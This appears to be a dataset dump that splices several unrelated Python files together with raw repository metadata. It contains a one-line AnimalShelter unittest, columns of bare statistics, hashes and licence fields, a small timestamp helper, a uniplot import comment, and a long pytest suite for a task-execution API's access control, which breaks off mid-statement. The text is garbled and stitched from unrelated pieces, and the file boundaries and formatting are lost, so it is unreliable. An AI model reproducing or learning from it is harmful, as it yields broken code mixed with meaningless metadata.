import AnimalShelter2 from time import sleep class Test_AnimalShelter2(unittest.TestCase): def setUp(self): pass def test_case1(self): shelter = AnimalShelter2() assert shelter.dequeue_any() == None assert shelter.dequeue_cat() == None assert shelter.dequeue_dog() == None def test_case2(self): shelter = AnimalShelter2() shelter.enqueue(Animal("Burt", Species.Dog)) sleep(.01) shelter.enqueue(Animal("Ernie", Species.Dog)) sleep(.01) shelter.enqueue(Animal("Garfield", Species.Cat)) sleep(.01) shelter.enqueue(Animal("Whiskers", Species.Cat)) sleep(.01) shelter.enqueue(Animal("Angus", Species.Dog)) adopt1 = shelter.dequeue_any() assert adopt1.name == "Burt" and adopt1.species == Species.Dog adopt2 = shelter.dequeue_cat() assert adopt2.name == "Garfield" and adopt2.species == Species.Cat adopt3 = shelter.dequeue_dog() assert adopt3.name == "Ernie" and adopt3.species == Species.Dog adopt4 = shelter.dequeue_any() assert adopt4.name == "Whiskers" and adopt4.species == Species.Cat adopt5 = shelter.dequeue_cat() assert adopt5 == None adopt6 = shelter.dequeue_dog() assert adopt6.name == "Angus" and adopt6.species == Species.Dog def test_case3(self): shelter = AnimalShelter2() assert shelter.dequeue_any() == None shelter.enqueue(Animal("Burt", Species.Dog)) shelter.enqueue(Animal("Ernie", Species.Dog)) adopt1 = shelter.dequeue_any() assert adopt1.name == "Burt" and adopt1.species == Species.Dog assert shelter.dequeue_cat() == None adopt2 = shelter.dequeue_any() assert adopt2.name == "Ernie" and adopt2.species == Species.Dog assert shelter.dequeue_any() == None def test_case4(self): shelter = AnimalShelter2() assert shelter.dequeue_any() == None shelter.enqueue(Animal("Burt", Species.Dog)) shelter.enqueue(Animal("Ernie", Species.Dog)) shelter.enqueue(Animal("Angus", Species.Dog)) shelter.enqueue(Animal("Garfield", Species.Cat)) shelter.enqueue(Animal("Whiskers", Species.Cat)) shelter.enqueue(Animal("Grumpy", Species.Cat)) adopt1 = shelter.dequeue_cat() assert adopt1.name == "Garfield" and adopt1.species == Species.Cat adopt2 = shelter.dequeue_cat() assert adopt2.name == "Whiskers" and adopt2.species == Species.Cat adopt3 = shelter.dequeue_cat() assert adopt3.name == "Grumpy" and adopt3.species == Species.Cat assert shelter.dequeue_cat() == None adopt4 = shelter.dequeue_dog() assert adopt4.name == "Burt" and adopt4.species == Species.Dog adopt5 = shelter.dequeue_dog() assert adopt5.name == "Ernie" and adopt5.species == Species.Dog adopt6 = shelter.dequeue_dog() assert adopt6.name == "Angus" and adopt6.species == Species.Dog assert shelter.dequeue_cat() == None assert shelter.dequeue_dog() == None assert shelter.dequeue_any() == None
21.899734
74
0.534641
4,097
32,981
4.227728
0.026605
0.179724
0.115582
0.06443
0.952774
0.931297
0.911957
0.873391
0.851972
0.84718
0
0.042072
0.329766
32,981
1,506
75
21.899734
0.741506
0
0
0.912641
0
0
0.012522
0
0
0
0
0
0.503597
1
0.086331
false
0.017472
0.020555
0
0.124358
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
8
a7d44d16fdc137796611ef193ec9f93314cacdfc
64
py
Python
noir/util/time_util.py
RyouZhang/nori
2e87f81582fe51590d115de84dfa25c5d0d52520
[ "MIT" ]
5
2017-03-14T23:36:54.000Z
2021-08-20T09:37:30.000Z
noir/util/time_util.py
RyouZhang/nori
2e87f81582fe51590d115de84dfa25c5d0d52520
[ "MIT" ]
null
null
null
noir/util/time_util.py
RyouZhang/nori
2e87f81582fe51590d115de84dfa25c5d0d52520
[ "MIT" ]
1
2017-08-24T10:01:11.000Z
2017-08-24T10:01:11.000Z
import time def get_timestamp(): return time.time() * 1000
12.8
29
0.6875
9
64
4.777778
0.777778
0
0
0
0
0
0
0
0
0
0
0.078431
0.203125
64
4
30
16
0.764706
0
0
0
0
0
0
0
0
0
0
0
0
1
0.333333
true
0
0.333333
0.333333
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
1
1
1
0
0
7
ac59539ef1308467be241d2cf48e227ce10713f7
167
py
Python
uniplot/__init__.py
arita37/uniplot
2e49cb01132a51029ffb8a5ab3b2704fdb7e2021
[ "MIT" ]
1
2020-09-12T03:12:50.000Z
2020-09-12T03:12:50.000Z
uniplot/__init__.py
arita37/uniplot
2e49cb01132a51029ffb8a5ab3b2704fdb7e2021
[ "MIT" ]
null
null
null
uniplot/__init__.py
arita37/uniplot
2e49cb01132a51029ffb8a5ab3b2704fdb7e2021
[ "MIT" ]
null
null
null
# Add a shortcur such that users of the library can write `from uniplot import plot` # instead of `from uniplot.uniplot import plot`. from uniplot.uniplot import plot
41.75
84
0.784431
27
167
4.851852
0.592593
0.251908
0.389313
0.366412
0.427481
0
0
0
0
0
0
0
0.161677
167
3
85
55.666667
0.935714
0.772455
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
8
ac5d21f44b4b59aa8bc6e2491b510fb41b5c1102
50,833
py
Python
server/tests/requests/task_execution_request_test.py
CloudReactor/task_manager
464ca74371064fabb9a21b1f5bacba30360932ab
[ "Fair" ]
null
null
null
server/tests/requests/task_execution_request_test.py
CloudReactor/task_manager
464ca74371064fabb9a21b1f5bacba30360932ab
[ "Fair" ]
6
2021-11-01T01:35:40.000Z
2022-02-11T03:33:06.000Z
server/tests/requests/task_execution_request_test.py
CloudReactor/task_manager
464ca74371064fabb9a21b1f5bacba30360932ab
[ "Fair" ]
null
null
null
from typing import Any, List, Optional, Tuple, cast from datetime import timedelta import random import uuid from urllib.parse import quote from django.utils import timezone from django.contrib.auth.models import User from processes.execution_methods.unknown_execution_method import UnknownExecutionMethod from processes.models import ( UserGroupAccessLevel, Subscription, RunEnvironment, Task, TaskExecution ) from processes.serializers import TaskExecutionSerializer import pytest from rest_framework.test import APIClient from moto import mock_ecs, mock_sts, mock_events from conftest import * def ensure_serialized_task_execution_valid( response_task_execution: dict[str, Any], task_execution: TaskExecution, user: User, group_access_level: int, api_key_access_level: Optional[int] = None, api_key_run_environment: Optional[RunEnvironment] = None) -> None: context = context_with_authenticated_request(user=user, group=task_execution.task.created_by_group, api_key_access_level=api_key_access_level, api_key_run_environment=api_key_run_environment) access_level = group_access_level if api_key_access_level is not None: access_level = min(access_level, api_key_access_level) validate_serialized_task_execution(response_task_execution, task_execution, context=context) if api_key_run_environment: assert api_key_run_environment.pk == task_execution.task.run_environment.pk @pytest.mark.django_db @pytest.mark.parametrize(""" is_authenticated, group_access_level, api_key_access_level, api_key_scope_type, user_has_another_group, send_group_id_type, send_task_uuid_type, status_code, expected_indices """, [ # Admin with Admin API key, explicit group succeeds (True, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, None, False, SEND_ID_CORRECT, SEND_ID_NONE, 200, [0, 1]), # Admin with Admin API key, no explicit group succeeds (True, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, None, False, SEND_ID_NONE, SEND_ID_NONE, 200, [0, 1]), # Observer with JWT token, explicit group succeeds (True, UserGroupAccessLevel.ACCESS_LEVEL_OBSERVER, None, None, False, SEND_ID_CORRECT, SEND_ID_NONE, 200, [0, 1]), # Observer in single group with JWT token, no explicit group succeeds (True, UserGroupAccessLevel.ACCESS_LEVEL_OBSERVER, None, None, False, SEND_ID_NONE, SEND_ID_NONE, 200, [0, 1]), # Admin in multiple groups with JWT token, no explicit group yields 400 (True, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, None, None, True, SEND_ID_NONE, SEND_ID_NONE, 400, None), # Developer in multiple groups with JWT token, explicit group yields 200 (True, UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, None, None, True, SEND_ID_CORRECT, SEND_ID_NONE, 200, [0, 1]), # Support user in multiple groups with JWT token, explicit Task yields 200 (True, UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, None, None, True, SEND_ID_NONE, SEND_ID_CORRECT, 200, [0]), # Admin with Observer API key, explicit group succeeds (True, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, UserGroupAccessLevel.ACCESS_LEVEL_OBSERVER, None, False, SEND_ID_CORRECT, SEND_ID_NONE, 200, [0, 1]), # Admin with multiple groups with Observer API key succeeds (True, UserGroupAccessLevel.ACCESS_LEVEL_OBSERVER, UserGroupAccessLevel.ACCESS_LEVEL_OBSERVER, None, True, SEND_ID_CORRECT, SEND_ID_NONE, 200, [0, 1]), # No API key with no explicit group in request yields 400 (True, UserGroupAccessLevel.ACCESS_LEVEL_OBSERVER, None, None, True, SEND_ID_NONE, SEND_ID_NONE, 400, None), # API key with no explicit group in request succeeds (True, UserGroupAccessLevel.ACCESS_LEVEL_OBSERVER, UserGroupAccessLevel.ACCESS_LEVEL_OBSERVER, None, True, SEND_ID_NONE, SEND_ID_NONE, 200, [0, 1]), # Admin with Admin API key, explicit wrong group yields 422 (True, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, None, False, SEND_ID_WRONG, SEND_ID_NONE, 422, None), # Admin using JWT, explicit wrong group yields 422 (True, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, None, None, False, SEND_ID_WRONG, SEND_ID_NONE, 422, None), # Admin using Admin API key, explicit bad group ID yields 422 (True, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, None, False, SEND_ID_NOT_FOUND, SEND_ID_NONE, 422, None), # Admin using JWT, explicit bad group ID yields 422 (True, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, None, None, False, SEND_ID_NOT_FOUND, SEND_ID_NONE, 422, None), # Admin with Admin API key scoped to correct Run Environment, explicit group finds the desired one (True, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, SCOPE_TYPE_CORRECT, False, SEND_ID_CORRECT, SEND_ID_NONE, 200, [0]), # No authentication yields 401 (False, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, None, None, False, SEND_ID_CORRECT, SEND_ID_NONE, 401, None), # TODO: check filtering, non-default ordering ]) @mock_ecs @mock_sts @mock_events def test_task_execution_list( is_authenticated: bool, group_access_level: Optional[int], api_key_access_level: Optional[int], api_key_scope_type: str, user_has_another_group: bool, send_group_id_type: str, send_task_uuid_type: str, status_code: int, expected_indices: List[int], user_factory, group_factory, run_environment_factory, task_factory, task_execution_factory, api_client) -> None: user = user_factory() group = user.groups.first() set_group_access_level(user=user, group=group, access_level=group_access_level) another_group = group_factory() if user_has_another_group: set_group_access_level(user=user, group=another_group, access_level=UserGroupAccessLevel.ACCESS_LEVEL_ADMIN) task_group = group production_run_environment = run_environment_factory(created_by_group=task_group) production_task = task_factory(created_by_group=task_group, run_environment=production_run_environment) test_run_environment = run_environment_factory(created_by_group=task_group) test_task = task_factory(created_by_group=task_group, run_environment=test_run_environment) task_executions = [ task_execution_factory(task=production_task), task_execution_factory(task=test_task) ] api_key_run_environment = None if api_key_scope_type == SCOPE_TYPE_CORRECT: api_key_run_environment = production_run_environment elif api_key_scope_type == SCOPE_TYPE_OTHER: api_key_run_environment = test_run_environment client = make_api_client_from_options(api_client=api_client, is_authenticated=is_authenticated, user=user, group=group, api_key_access_level=api_key_access_level, api_key_run_environment=api_key_run_environment) params = {} group_id: Optional[str] = None if send_group_id_type == SEND_ID_CORRECT: group_id = str(group.id) elif send_group_id_type == SEND_ID_NOT_FOUND: group_id = '666' elif send_group_id_type == SEND_ID_WRONG: group_id = str(another_group.id) if group_id: params['task__created_by_group__id'] = group_id task_uuid: Optional[str] = None if send_task_uuid_type == SEND_ID_CORRECT: task_uuid = str(production_task.uuid) elif send_task_uuid_type == SEND_ID_NOT_FOUND: task_uuid = 'abc' if task_uuid: params['task__uuid'] = task_uuid response = client.get('/api/v1/task_executions/', params) assert response.status_code == status_code if status_code == 200: assert group_access_level is not None page = response.data assert page['count'] == len(expected_indices) results = page['results'] for i in expected_indices: response_task_execution = results[i] target_task_execution = task_executions[expected_indices[i]] ensure_serialized_task_execution_valid(response_task_execution, task_execution=target_task_execution, user=user, group_access_level=group_access_level, api_key_access_level=api_key_access_level, api_key_run_environment=api_key_run_environment) def common_setup(is_authenticated: bool, group_access_level: Optional[int], api_key_access_level: Optional[int], api_key_scope_type: str, uuid_send_type: str, user, group_factory, run_environment_factory, task_factory, task_execution_factory, api_client) \ -> Tuple[TaskExecution, Optional[RunEnvironment], APIClient, str]: group = user.groups.first() if group_access_level is not None: set_group_access_level(user=user, group=group, access_level=group_access_level) task_execution_group = group run_environment = run_environment_factory(created_by_group=task_execution_group) another_run_environment = run_environment_factory(created_by_group=task_execution_group) task = task_factory(created_by_group=group, run_environment=run_environment) task_execution_run_environment = run_environment task_execution = task_execution_factory(task=task) api_key_run_environment = None if api_key_scope_type == SCOPE_TYPE_CORRECT: api_key_run_environment = task_execution_run_environment elif api_key_scope_type == SCOPE_TYPE_OTHER: api_key_run_environment = another_run_environment client = make_api_client_from_options(api_client=api_client, is_authenticated=is_authenticated, user=user, group=group, api_key_access_level=api_key_access_level, api_key_run_environment=api_key_run_environment) url = '/api/v1/task_executions/' if uuid_send_type != SEND_ID_NONE: task_execution_uuid = uuid.uuid4() if uuid_send_type == SEND_ID_CORRECT: task_execution_uuid = task_execution.uuid elif uuid_send_type == SEND_ID_IN_WRONG_GROUP: another_group = group_factory() set_group_access_level(user=user, group=another_group, access_level=UserGroupAccessLevel.ACCESS_LEVEL_ADMIN) task_in_other_group = task_factory(created_by_group=another_group) task_execution_in_other_group = task_execution_factory( task=task_in_other_group) task_execution_uuid = task_execution_in_other_group.uuid url += quote(str(task_execution_uuid)) + '/' return (task_execution, api_key_run_environment, client, url) def make_request_body(uuid_send_type: Optional[str], task_send_type: Optional[str], user: User, api_key_run_environment: Optional[RunEnvironment], task_execution: TaskExecution, group_factory, run_environment_factory, task_factory, task_execution_factory, task_property_name: str = 'task') -> dict[str, Any]: request_data: dict[str, Any] = { 'status': 'RUNNING', 'extraprop': 'dummy', } if uuid_send_type == SEND_ID_NOT_FOUND: request_data['uuid'] = str(uuid.uuid4()) elif uuid_send_type == SEND_ID_CORRECT: request_data['uuid'] = str(task_execution.uuid) elif uuid_send_type == SEND_ID_WRONG: another_task_execution = task_execution_factory( task=task_execution.task) request_data['uuid'] = str(another_task_execution.uuid) run_environment: Optional[RunEnvironment] = None if task_send_type is None: run_environment = task_execution.task.run_environment else: task: Optional[Task] = None if task_send_type == SEND_ID_NONE: request_data[task_property_name] = None else: if task_send_type == SEND_ID_CORRECT: if api_key_run_environment: run_environment = api_key_run_environment else: run_environment = task_execution.task.run_environment task = task_execution.task elif task_send_type == SEND_ID_OTHER: run_environment = task_execution.task.run_environment elif task_send_type == SEND_ID_WITH_OTHER_RUN_ENVIRONMENT: run_environment = run_environment_factory(created_by_group=user.groups.first()) elif task_send_type == SEND_ID_IN_WRONG_GROUP: group = group_factory() set_group_access_level(user=user, group=group, access_level=UserGroupAccessLevel.ACCESS_LEVEL_ADMIN) run_environment = run_environment_factory(created_by_group=group) # TODO set created by group from run_environment if not task: assert run_environment is not None task = task_factory( created_by_group=run_environment.created_by_group, run_environment=run_environment) assert task is not None # for mypy request_data[task_property_name] = { 'uuid': str(task.uuid) } return request_data @pytest.mark.django_db @pytest.mark.parametrize(""" is_authenticated, group_access_level, api_key_access_level, api_key_scope_type, uuid_send_type, status_code """, [ # Admin with API Key succeeds (True, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, SCOPE_TYPE_NONE, SEND_ID_CORRECT, 200), # Developer with API Key succeeds (True, UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, SCOPE_TYPE_NONE, SEND_ID_CORRECT, 200), # Developer with API Key succeeds with unscoped Alert Method (True, UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, SCOPE_TYPE_NONE, SEND_ID_CORRECT, 200), # Observer with API Key succeeds (True, UserGroupAccessLevel.ACCESS_LEVEL_OBSERVER, UserGroupAccessLevel.ACCESS_LEVEL_OBSERVER, SCOPE_TYPE_NONE, SEND_ID_CORRECT, 200), # Admin with API Key with support access succeeds (True, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, UserGroupAccessLevel.ACCESS_LEVEL_SUPPORT, SCOPE_TYPE_NONE, SEND_ID_CORRECT, 200), # Admin with JWT token succeeds (True, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, None, None, SEND_ID_CORRECT, 200), # Developer with JWT token succeeds (True, UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, None, None, SEND_ID_CORRECT, 200), # Observer with JWT token succeeds (True, UserGroupAccessLevel.ACCESS_LEVEL_OBSERVER, None, None, SEND_ID_CORRECT, 200), # Developer with developer API key scoped to correct Run Environment, # explicit group finds the desired one (True, UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, SCOPE_TYPE_CORRECT, SEND_ID_CORRECT, 200), # Developer with developer API key scoped to different Run Environment gets 404 (True, UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, SCOPE_TYPE_OTHER, SEND_ID_CORRECT, 404), # Admin with API Key, wrong UUID gets 404 (True, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, SCOPE_TYPE_NONE, SEND_ID_NOT_FOUND, 404), # Admin with API Key with wrong group gets 404 (True, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, SCOPE_TYPE_NONE, SEND_ID_IN_WRONG_GROUP, 404), # No authentication yields 401 (False, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, None, None, SEND_ID_CORRECT, 401), ]) @mock_ecs @mock_sts @mock_events def test_task_execution_fetch( is_authenticated: bool, group_access_level: Optional[int], api_key_access_level: Optional[int], api_key_scope_type: str, uuid_send_type: str, status_code: int, user_factory, group_factory, run_environment_factory, task_factory, task_execution_factory, api_client) -> None: user = user_factory() task_execution, api_key_run_environment, client, url = common_setup( is_authenticated=is_authenticated, group_access_level=group_access_level, api_key_access_level=api_key_access_level, api_key_scope_type=api_key_scope_type, uuid_send_type=uuid_send_type, user=user, group_factory=group_factory, run_environment_factory=run_environment_factory, task_factory=task_factory, task_execution_factory=task_execution_factory, api_client=api_client) response = client.get(url) assert response.status_code == status_code if status_code == 200: assert group_access_level is not None ensure_serialized_task_execution_valid(response_task_execution=response.data, task_execution=task_execution, user=user, group_access_level=group_access_level, api_key_access_level=api_key_access_level, api_key_run_environment=api_key_run_environment) @pytest.mark.django_db @pytest.mark.parametrize(""" is_authenticated, group_access_level, api_key_access_level, api_key_scope_type, body_uuid_type, task_send_type, status_code, validation_error_attribute, error_code """, [ # Task with API Key succeeds (True, UserGroupAccessLevel.ACCESS_LEVEL_TASK, UserGroupAccessLevel.ACCESS_LEVEL_TASK, None, SEND_ID_NONE, SEND_ID_CORRECT, 201, None, None), # Developer with unscoped API Key fails with 400 when Task is # specifically empty (True, UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, None, SEND_ID_NONE, SEND_ID_NONE, 400, 'task', 'null'), # Task with unscoped API Key succeeds when Task is specified (True, UserGroupAccessLevel.ACCESS_LEVEL_TASK, UserGroupAccessLevel.ACCESS_LEVEL_TASK, SCOPE_TYPE_NONE, SEND_ID_NONE, SEND_ID_CORRECT, 201, None, None), # non-existent uuid is present in request body (True, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, None, SEND_ID_NOT_FOUND, SEND_ID_CORRECT, 400, 'uuid', 'not_allowed'), # uuid of existing Task Execution is present in request body (True, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, None, SEND_ID_WRONG, SEND_ID_CORRECT, 400, 'uuid', 'not_allowed'), # Developer with unscoped API Key cannot attach a Task in the # wrong Group (True, UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, SCOPE_TYPE_NONE, SEND_ID_NONE, SEND_ID_IN_WRONG_GROUP, 422, 'task', 'not_found'), # Task with scoped API Key succeeds when Task is scoped # with the same Run Environment (True, UserGroupAccessLevel.ACCESS_LEVEL_TASK, UserGroupAccessLevel.ACCESS_LEVEL_TASK, SCOPE_TYPE_CORRECT, SEND_ID_NONE, SEND_ID_CORRECT, 201, None, None), # Developer with scoped API Key fails when Task is omitted (True, UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, SCOPE_TYPE_CORRECT, SEND_ID_NONE, None, 400, 'task', 'missing'), # Developer with scoped API Key cannot create Task Execution with no # Task (True, UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, SCOPE_TYPE_CORRECT, SEND_ID_NONE, SEND_ID_NONE, 400, 'task', 'null'), # Developer with scoped API Key cannot create Task Execution with a # Task in another Run Environment (True, UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, SCOPE_TYPE_CORRECT, SEND_ID_NONE, SEND_ID_WITH_OTHER_RUN_ENVIRONMENT, 422, 'task', 'not_found'), # Support user with API Key with Observer access level fails with 403 (True, UserGroupAccessLevel.ACCESS_LEVEL_SUPPORT, UserGroupAccessLevel.ACCESS_LEVEL_OBSERVER, None, SEND_ID_NONE, SEND_ID_CORRECT, 403, None, None), # Admin with API Key with support access fails with 403 (True, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, UserGroupAccessLevel.ACCESS_LEVEL_OBSERVER, None, SEND_ID_NONE, SEND_ID_CORRECT, 403, None, None), # Task with JWT token succeeds (True, UserGroupAccessLevel.ACCESS_LEVEL_TASK, None, None, SEND_ID_NONE, SEND_ID_CORRECT, 201, None, None), # Support user with JWT token succeeds (True, UserGroupAccessLevel.ACCESS_LEVEL_SUPPORT, None, None, SEND_ID_NONE, SEND_ID_CORRECT, 201, None, None), # Observer with JWT token fails with 403 (True, UserGroupAccessLevel.ACCESS_LEVEL_OBSERVER, None, None, SEND_ID_NONE, SEND_ID_CORRECT, 403, None, None), # No authentication yields 401 (False, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, None, None, SEND_ID_NONE, SEND_ID_CORRECT, 401, None, None), ]) @mock_ecs @mock_sts @mock_events def test_task_execution_create_access_control( is_authenticated: bool, group_access_level: Optional[int], api_key_access_level: Optional[int], api_key_scope_type: str, body_uuid_type: str, task_send_type: str, status_code: int, validation_error_attribute: Optional[str], error_code: Optional[str], user_factory, group_factory, run_environment_factory, task_factory, task_execution_factory, api_client) -> None: """ This only tests access control to the CREATE endpoint, not the actual changes. """ user = user_factory() task_execution, api_key_run_environment, client, url = common_setup( is_authenticated=is_authenticated, group_access_level=group_access_level, api_key_access_level=api_key_access_level, api_key_scope_type=api_key_scope_type, uuid_send_type=SEND_ID_NONE, user=user, group_factory=group_factory, run_environment_factory=run_environment_factory, task_factory=task_factory, task_execution_factory=task_execution_factory, api_client=api_client) request_data = make_request_body(uuid_send_type=body_uuid_type, task_send_type=task_send_type, user=user, group_factory=group_factory, api_key_run_environment=api_key_run_environment, task_execution=task_execution, run_environment_factory=run_environment_factory, task_factory=task_factory, task_execution_factory=task_execution_factory) old_count = TaskExecution.objects.count() response = client.post(url, data=request_data) assert response.status_code == status_code new_count = TaskExecution.objects.count() if status_code == 201: assert new_count == old_count + 1 response_task_execution = cast(dict[str, Any], response.data) task_execution_uuid = response_task_execution['uuid'] created_am = TaskExecution.objects.get(uuid=task_execution_uuid) assert group_access_level is not None ensure_serialized_task_execution_valid(response_task_execution=response_task_execution, task_execution=created_am, user=user, group_access_level=group_access_level, api_key_access_level=api_key_access_level, api_key_run_environment=api_key_run_environment) else: assert new_count == old_count check_validation_error(response, validation_error_attribute, error_code) @pytest.mark.django_db @pytest.mark.parametrize(""" was_auto_created, passive, status_code, validation_error_attribute, error_code """, [ (True, True, 201, None, None), (False, True, 422, 'task', 'not_found'), (True, False, 400, 'passive', 'invalid'), ]) def test_task_execution_with_unknown_method_auto_creation( was_auto_created, passive, status_code, validation_error_attribute, error_code, user_factory, group_factory, run_environment_factory, unknown_execution_method_task_factory, task_execution_factory, api_client) -> None: """ Test auto-creation of Tasks with unknown execution method along with Task Execution """ user = user_factory() _task_execution, api_key_run_environment, client, url = common_setup( is_authenticated=True, group_access_level=UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, api_key_access_level=UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, api_key_scope_type=SCOPE_TYPE_CORRECT, uuid_send_type=SEND_ID_NONE, user=user, group_factory=group_factory, run_environment_factory=run_environment_factory, task_factory=unknown_execution_method_task_factory, task_execution_factory=task_execution_factory, api_client=api_client) assert api_key_run_environment is not None # for mypy request_dict: dict[str, Any] = { 'status': TaskExecution.Status.RUNNING.name, 'task': { 'name': 'Auto Unknown Method Task', 'run_environment': { 'name': api_key_run_environment.name, }, 'execution_method_capability': { 'type': 'Unknown', } } } if was_auto_created is not None: request_dict['task']['was_auto_created'] = was_auto_created if passive is not None: request_dict['task']['passive'] = passive response = client.post(url, request_dict) assert response.status_code == status_code response_dict = cast(dict[str, Any], response.data) if status_code == 201: task_execution_uuid = response_dict['uuid'] task_execution = TaskExecution.objects.get(uuid=task_execution_uuid) ensure_serialized_task_execution_valid( response_task_execution=response_dict, task_execution=task_execution, user=user, group_access_level=UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, api_key_access_level=UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, api_key_run_environment=api_key_run_environment) task_dict = response_dict['task'] task_uuid = task_dict['uuid'] task = Task.objects.get(uuid=task_uuid) assert task_dict['name'] == task.name assert task.name == 'Auto Unknown Method Task' assert task.was_auto_created == was_auto_created assert task.passive == passive assert task.execution_method_type == UnknownExecutionMethod.NAME assert task.execution_method().name == UnknownExecutionMethod.NAME else: check_validation_error(response, validation_error_attribute, error_code) @pytest.mark.django_db @pytest.mark.parametrize(""" status, status_code, validation_error_attribute, error_code, """, [ (TaskExecution.Status.MANUALLY_STARTED.name, 400, 'status', 'invalid'), (TaskExecution.Status.RUNNING.name, 201, None, None), (TaskExecution.Status.SUCCEEDED.name, 201, None, None), (TaskExecution.Status.FAILED.name, 201, None, None), ]) def test_task_execution_of_passive_task_creation( status, status_code, validation_error_attribute, error_code, user_factory, group_factory, run_environment_factory, unknown_execution_method_task_factory, task_execution_factory, api_client) -> None: """ Test creation of Task Executions associated with passive Tasks """ user = user_factory() _task_execution, api_key_run_environment, client, url = common_setup( is_authenticated=True, group_access_level=UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, api_key_access_level=UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, api_key_scope_type=SCOPE_TYPE_CORRECT, uuid_send_type=SEND_ID_NONE, user=user, group_factory=group_factory, run_environment_factory=run_environment_factory, task_factory=unknown_execution_method_task_factory, task_execution_factory=task_execution_factory, api_client=api_client) assert api_key_run_environment is not None # for mypy task = unknown_execution_method_task_factory( run_environment=api_key_run_environment, created_by_group=api_key_run_environment.created_by_group, passive=True) request_dict = { 'status': status, 'task': { 'uuid': str(task.uuid), } } response = client.post(url, request_dict) assert response.status_code == status_code response_dict = cast(dict[str, Any], response.data) if status_code == 201: task_execution_uuid = response_dict['uuid'] task_execution = TaskExecution.objects.get(uuid=task_execution_uuid) ensure_serialized_task_execution_valid( response_task_execution=response_dict, task_execution=task_execution, user=user, group_access_level=UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, api_key_access_level=UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, api_key_run_environment=api_key_run_environment) else: check_validation_error(response, validation_error_attribute, error_code) @pytest.mark.django_db @mock_ecs @mock_sts @mock_events def test_task_execution_create_history_purging(subscription_plan, user_factory, group_factory, run_environment_factory, task_factory, task_execution_factory, api_client) -> None: user = user_factory() group = user.groups.first() task_execution, api_key_run_environment, client, url = common_setup( is_authenticated=True, group_access_level=UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, api_key_access_level=UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, api_key_scope_type=SCOPE_TYPE_CORRECT, uuid_send_type=SEND_ID_NONE, user=user, group_factory=group_factory, run_environment_factory=run_environment_factory, task_factory=task_factory, task_execution_factory=task_execution_factory, api_client=api_client) request_data = make_request_body(uuid_send_type=SEND_ID_NONE, task_send_type=SEND_ID_CORRECT, user=user, group_factory=group_factory, api_key_run_environment=None, task_execution=task_execution, run_environment_factory=run_environment_factory, task_factory=task_factory, task_execution_factory=task_execution_factory) task = task_execution.task utc_now = timezone.now() completed_task_execution_ids: List[int] = [] for i in range(3): te = task_execution_factory(task=task, status=random.choice(TaskExecution.COMPLETED_STATUSES), finished_at = utc_now - timedelta(minutes=i)) te.save() completed_task_execution_ids.append(te.id) utc_now = 